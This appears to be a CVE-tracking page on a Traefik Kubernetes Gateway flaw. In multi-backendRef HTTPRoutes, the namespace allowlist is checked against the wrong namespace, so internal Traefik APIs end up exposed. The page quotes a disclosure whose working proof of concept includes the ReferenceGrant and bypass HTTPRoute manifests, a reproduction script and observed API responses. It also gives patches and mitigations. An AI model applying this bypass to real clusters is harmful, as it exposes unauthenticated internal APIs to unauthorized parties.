Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain HTTPRoute create rights in non-allowed namespace
-
DeliveryIdentify allow-listed namespace with existing ReferenceGrant to TraefikService
-
ExploitCraft WRR HTTPRoute with api@internal backendRef pointing namespace field at allow-listed namespace
-
InstallSubmit HTTPRoute accepted by shared Gateway
-
C2Traefik WRR code evaluates allowlist against backendRef.namespace (trusted), bypassing route namespace check
-
ExecuteTraefik generates data-plane service graph including api@internal
-
ImpactAccess Traefik internal API unauthenticated via public web entrypoint
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Access control enforcement
MITRE ATT&CK
1 technique across 1 tactic: Defense Evasion The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires all of the following conditions simultaneously: (1) Traefik must be running with the Kubernetes Gateway provider enabled ( |
| Impact | No official CVSS score has been assigned by NVD at time of analysis; the following assessment is independent (see assessed_cvss_vector). The vulnerability requires network-accessible Kubernetes API credentials (at minimum, RBAC permission to create HTTPRoute resources in some namespace), which places it in the authenticated low-privilege category. However, in multi-tenant Kubernetes clusters where the Gateway provider is deployed, giving developers create access to HTTPRoute is a common and expected permission, meaning the attacker population can be large. The required ReferenceGrant from an allow-listed namespace is an environmental prerequisite that raises practical complexity - it must already exist or the attacker must separately arrange it. No EPSS score is available at this time. A researcher-provided, self-contained proof-of-concept against a local |
| Exploit ScenarioDerived | An attacker with Kubernetes RBAC rights to create HTTPRoute objects in a namespace called |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 18, 2026
Traefik's Kubernetes Gateway provider exposes internal services (api@internal, dashboard@internal, rest@internal) on the data plane due to a namespace allowlist check evaluated against the wrong variable in multi-backendRef (WRR) HTTPRoute rules. Operators who configured crossProviderNamespaces to restrict which namespaces may reference cross-provider TraefikService backends find that restriction entirely bypassed for routes with two or more backendRefs, allowing an unprivileged route namespace to expose the Traefik API unauthenticated on the normal web entrypoint. A fully functional end-to-end proof-of-concept was included in the disclosure; no public exploit identifier at time of analysis, and the vulnerability is not listed in CISA KEV.
RemediationAI
For Traefik v3 users, upgrade to 3.6.21 (patch PR #13322: 'Reject cross-provider references with backendRefs.namespace') or 3.7.5, available at https://github.com/traefik/traefik/releases/tag/v3.6.21 and https://github.com/traefik/traefik/releases/tag/v3.7.5. No vendor-released patch is identified at time of analysis for the v2 (≤ 2.11.50) or v1 (≤ 1.7.34) lines. For unpatched deployments, the most effective compensating control is to enforce strict Kubernetes RBAC so that only fully trusted namespaces have create and update permissions on HTTPRoute resources - this removes the attacker's ability to craft the bypass route entirely, but affects developer self-service workflows. A second control is to audit and restrict ReferenceGrant issuance from allow-listed namespaces: ReferenceGrant objects that permit cross-namespace TraefikService references should only be created by cluster-operators, not by namespace users, since the attacker relies on an existing grant. Disabling the Kubernetes Gateway provider entirely (--providers.kubernetesgateway=false) removes the vulnerable code path but eliminates all Gateway API functionality. Restricting api@internal, dashboard@internal, and rest@internal to a dedicated non-web entrypoint (not the public data plane entrypoint) limits blast radius but does not fix the allowlist bypass.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 5 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Traefik's Kubernetes Gateway provider (enabled via --providers.kubernetesgateway) integrates with the Kubernetes Gateway API (HTTPRoute, TCPRoute, TLSRoute resources) and supports an operator security control called crossProviderNamespaces (CWE-284: Improper Access Control). This allowlist is documented to restrict which route namespaces may declare backendRefs of kind TraefikService, covering @internal service aliases that expose Traefik's own API, dashboard, and REST API on the data plane. The root cause is a variable shadowing error in loadService: when iterating WRR backendRefs, the code overwrites the namespace local variable with backendRef.Namespace before passing it to loadHTTPBackendRef, which then evaluates isCrossProviderNamespaceAllowed against the target (backendRef) namespace rather than route.Namespace. The single-backendRef code path correctly uses route.Namespace. Affected packages per GHSA advisory: pkg:go/github.com/traefik/traefik/v3 (≤ 3.6.20 and 3.7.0-ea.1 - 3.7.4), pkg:go/github.com/traefik/traefik/v2 (≤ 2.11.50), and pkg:go/github.com/traefik/traefik (≤ 1.7.34 legacy line).
Know when Kubernetes gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Network vector via Kubernetes API; PR:L for HTTPRoute create rights; S:C because internal Traefik API crosses onto a public entrypoint; C:H for full API exposure, I:L for routing side-effects.
Primary rating from Vendor (https://github.com/traefik/traefik).
CVSS VectorVendor: https://github.com/traefik/traefik
Lifecycle Timeline
1DescriptionCVE.org
Summary
There is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the crossProviderNamespaces allowlist. For HTTPRoute rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target backendRef.namespace instead of the route's own namespace. As a result, an HTTPRoute created in a namespace that is not allow-listed can reference a cross-provider TraefikService such as api@internal, dashboard@internal or rest@internal by pointing backendRef.namespace at an allow-listed namespace covered by a Gateway API ReferenceGrant, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted HTTPRoute and a matching ReferenceGrant from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.21
- https://github.com/traefik/traefik/releases/tag/v3.7.5
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
The Kubernetes Gateway provider's crossProviderNamespaces option is documented as restricting which Gateway API route namespaces may declare TraefikService backendRefs.
For HTTPRoute rules with multiple backendRefs, Traefik checks this allowlist against backendRef.namespace instead of the HTTPRoute namespace. A route in a namespace that is not allow-listed can therefore add api@internal to the generated WRR service by setting backendRef.namespace to an allow-listed namespace, as long as a normal Gateway API ReferenceGrant permits that cross-namespace reference.
Verified affected versions:
v3.7.1(fa49e2bcad7ffd8a80accdf1fae1ae480913d93d)- current source/master tested by me (
29406d42898547f1ffabd904f66af06c212740cf)
Expected Behavior
With:
providers:
kubernetesGateway:
crossProviderNamespaces:
- trustedonly Gateway API routes whose own namespace is trusted should be allowed to declare TraefikService backendRefs such as api@internal, dashboard@internal, or rest@internal.
An HTTPRoute in namespace attacker should not be able to expose an internal Traefik service by setting:
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trustedActual Behavior
For an HTTPRoute in namespace attacker with two backendRefs, Traefik generates a WRR service containing:
[api@internal attacker-whoami-http-80]even though crossProviderNamespaces only allows trusted.
Threat Model
This does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's crossProviderNamespaces policy: namespaces outside the allowlist should not be able to declare cross-provider TraefikService backendRefs.
The precondition is a Gateway API environment where an untrusted or less-trusted namespace can create HTTPRoute objects accepted by a Gateway, and a namespace in the crossProviderNamespaces allowlist has a matching ReferenceGrant. ReferenceGrant should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.
A Gateway API ReferenceGrant should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's crossProviderNamespaces option is an additional Traefik-specific security control for cross-provider TraefikService backendRefs, especially @internal services. Therefore a ReferenceGrant from trusted must not make a route in attacker equivalent to a route whose own namespace is trusted.
Required Attacker Capability
Required:
- create or modify an
HTTPRoutein namespaceattacker; - have that
HTTPRouteaccepted by aGateway; - rely on an existing
ReferenceGrantfrom an allow-listed namespace, or on a delegated namespace setup where suchReferenceGrantobjects are managed separately from Traefik's provider configuration.
Not required:
- modifying Traefik static configuration;
- modifying the Traefik deployment or Traefik RBAC;
- modifying resources in the Traefik deployment namespace;
- modifying
providers.kubernetesGateway.crossProviderNamespaces; - enabling
api.insecure; - exposing the dashboard/API entrypoint directly.
Documentation Evidence
The documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in backendRef.namespace.
The Kubernetes Gateway provider option is documented as:
List of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.The migration notes also describe the security reason for the option:
those references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.and the documented behavior is:
["ns-a"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.The provider struct uses the same route-namespace wording:
CrossProviderNamespaces []string `description:"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references." ...`The reproduced route kind is HTTPRoute; no Gateway API experimental-channel resources are required for the PoC.
PoC
I validated the issue end-to-end in a local kind cluster with Traefik v3.7.1, real Gateway API CRDs, real Kubernetes Gateway, HTTPRoute, and ReferenceGrant resources, and HTTP requests to Traefik's normal web entrypoint.
The complete local reproducer I used is a self-contained kind PoC with these files:
external-repro-kind/kind-config.yaml
external-repro-kind/traefik-v371.yaml
external-repro-kind/gateway-exploit.yaml
external-repro-kind/run-kind-repro.shRun command:
./external-repro-kind/run-kind-repro.shThe script creates a local kind cluster, loads local traefik:v3.7.1 and traefik/whoami:v1.11.0 images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit curl requests to 127.0.0.1:18080, prints route status, and deletes the cluster on exit.
Traefik was started with:
--api=true
--api.dashboard=true
--api.insecure=false
--providers.kubernetesgateway=true
--providers.kubernetesgateway.crossprovidernamespaces=trustedThe local host entrypoint was:
127.0.0.1:18080 -> kind NodePort -> Traefik web entrypointThe target namespace has a normal Gateway API ReferenceGrant:
apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
name: allow-attacker-to-traefikservice
namespace: trusted
spec:
from:
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: attacker
to:
- group: traefik.io
kind: TraefikServicePositive control:
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: single-backend-control
namespace: attacker
spec:
parentRefs:
- name: shared-gateway
namespace: default
hostnames:
- control.localhost
rules:
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
port: 80
weight: 1Bypass:
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: mixed-backend-bypass
namespace: attacker
spec:
parentRefs:
- name: shared-gateway
namespace: default
hostnames:
- exploit.localhost
rules:
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
port: 80
weight: 1000000
- group: ""
kind: Service
name: whoami
port: 80
weight: 1Observed external result:
control: single-backend route from attacker namespace should not expose api@internal
control status: 404
404 page not found
exploit: mixed backendRef route from attacker namespace exposes api@internal
exploit returned Traefik API JSON
api@internal status: enabled
weighted members:
api@internal 1000000
attacker-whoami-http-80 1The HTTPRoute status shows the boundary difference:
single-backend-control:
Accepted=True
ResolvedRefs=False
Reason=RefNotPermitted
Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces
mixed-backend-bypass:
Accepted=True
ResolvedRefs=TrueThis is the externally visible security failure: the same route namespace and same api@internal backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.
Minimized Root Cause Test
I also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external kind PoC above is the primary impact reproduction.
Files:
probe/crossprovider_namespace_probe_test.goprobe/cross_provider_namespace_probe.ymlprobe/cross_provider_namespace_single_control.yml
Reproduction:
cp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/
cp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/
go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -vObserved output on both tested versions:
Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]The reproducer also includes a positive control:
=== RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl
--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControlThat control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.
Root Cause
The single-internal-service path checks the route namespace:
case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef):
if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {The mixed/multiple backendRef path calls loadService. In loadService, namespace is overwritten from backendRef.Namespace, then passed to loadHTTPBackendRef:
namespace := route.Namespace
if backendRef.Namespace != nil && *backendRef.Namespace != "" {
namespace = string(*backendRef.Namespace)
}
...
name, service, err := p.loadHTTPBackendRef(namespace, backendRef)loadHTTPBackendRef then checks crossProviderNamespaces against this target namespace:
if *backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@") {
if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {This lets a disallowed route namespace choose an allow-listed target namespace and pass the check.
Impact
An untrusted route namespace may expose internal Traefik services through Gateway HTTPRoute despite being excluded from crossProviderNamespaces.
Potentially exposed internal services include:
api@internaldashboard@internalrest@internal
This is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway ReferenceGrant delegation is used, but the observed behavior violates the documented security boundary of crossProviderNamespaces.
I also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:
Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized
Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not FoundWhen a router on the normal web entrypoint references api@internal, the same API endpoint becomes unauthenticated:
Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK
service: api@internalA WRR service containing api@internal also exposes the API:
Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK
weighted services:
api@internal 1000
echo-svc 1This is the security consequence of the provider bug: a namespace that should be blocked by crossProviderNamespaces can make Traefik generate a service graph containing api@internal on a route it controls.
Suggested Fix
For Gateway HTTPRoute TraefikService cross-provider backendRefs, validate crossProviderNamespaces against route.Namespace in all code paths, including mixed/WRR backendRefs.
</details>
---
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can
Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar
Same weakness CWE-284 – Improper Access Control
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-38577
GHSA-3g6v-2r68-prfc
NVD
CVE.org
EPSS
VulDB
Exploit-DB